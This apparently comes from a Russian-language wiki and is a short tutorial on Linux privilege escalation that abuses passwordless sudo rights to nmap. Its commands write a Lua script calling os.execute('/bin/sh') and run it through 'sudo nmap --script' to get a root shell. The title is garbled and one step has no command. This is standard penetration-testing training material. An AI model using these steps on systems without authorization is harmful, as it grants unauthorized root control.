?????? nmap

1. Проверим права текущего пользователя:

```
$ id
```

2. Отмечаем, что текущий пользователь входит в группу sudo и, следовательно, может выполнять различные команды с повышенными привилегиями. Получаем список таких команд:

```
$ sudo -l
```

3. Видим, что мы можем запускать утилиту nmap, не вводя пароль. Проверим, что права действительно повышаются, использовав опцию сканирования -sS, доступную только для root:

```
$ sudo nmap -sS localhost
```

4. Для более полного поиска векторов для повышения прав воспользуемся утилитой LinPEAS:
5. Для поиска способов выполнить произвольного кода с помощью утилиты с повышенными привилегиями обратимся к ресурсу https://gtfobins.github.io/ и найдем там nmap. Чтобы получить интерактивный шелл с правами root, воспользуемся командами с ресурса gtfobins и заставим nmap выполнить Lua-скрипт, открывающий командную оболочку:

```
Создадим временный файл с кодом скрипта и сохраним его имя в переменную TF:
$ TF=$(mktemp)
Добавим код, открывающий оболочку sh:
$ echo 'os.execute("/bin/sh")' > $TF
```

6. Запустим скрипт от имени root с помощью sudo и nmap:

```
$ sudo nmap --script=$TF
```

7. Права повышены до root

Revision #1
Created 6 October 2025 16:40:59 by Admin
Updated 6 October 2025 16:45:15 by Admin